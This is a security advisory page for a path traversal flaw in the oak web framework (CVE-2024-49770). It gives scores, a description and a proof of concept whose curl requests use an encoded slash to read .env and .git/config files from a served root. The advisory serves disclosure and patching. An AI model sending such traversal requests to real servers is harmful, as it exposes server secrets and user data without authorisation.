7.7high
oak's path traversal allows transfer of hidden files within the served root directory
- Severity
- 7.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.71% (higher than 54% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qm92-93fv-vh7m
Description
`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| oakserver oak | < 17.1.3, before 17.1.3 | CVE List |
| @oakserver/oak (npm) | up to 14.1.0 | GitHub Advisory Database |
All scores
| GitHub_M | 7.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
Classification
What each source says
CVE List
`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.
GitHub Advisory Database
Summary
By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by
encoding / as its URL encoded form %2F.
Details
1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.
2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.
PoC
// server.ts
import { Application } from "jsr:@oak/oak@17.1.2";
const app = new Application();
app.use(async (context, next) => {
try {
await context.send({
root: './root',
hidden: false, // default
});
} catch {
await next();
}
});
await app.listen({ port: 8000 });
In terminal:
# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops > root/.git/config
# start server
deno run -A server.ts
# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config
Impact
For an attacker this has potential to read sensitive user data or to gain access to server secrets.
NVD (es)
`oak` es un framework de middleware para el servidor HTTP nativo de Deno, Deno Deploy, Node.js 16.5 y posteriores, Cloudflare Workers y Bun. De forma predeterminada, `oak` no permite la transferencia de archivos ocultos con la API `Context.send`. Sin embargo, antes de la versión 17.1.3, esto se puede omitir codificando `/` como su forma codificada de URL `%2F`. Para un atacante, esto tiene el potencial de leer datos confidenciales del usuario o de obtener acceso a secretos del servidor. La versión 17.1.3 soluciona el problema.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-49770 changed 2024-11-01 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qm92-93fv-vh7m changed 2024-11-01 | CC-BY-4.0 |
| NVD | CVE-2024-49770 changed 2026-06-17 | Public domain |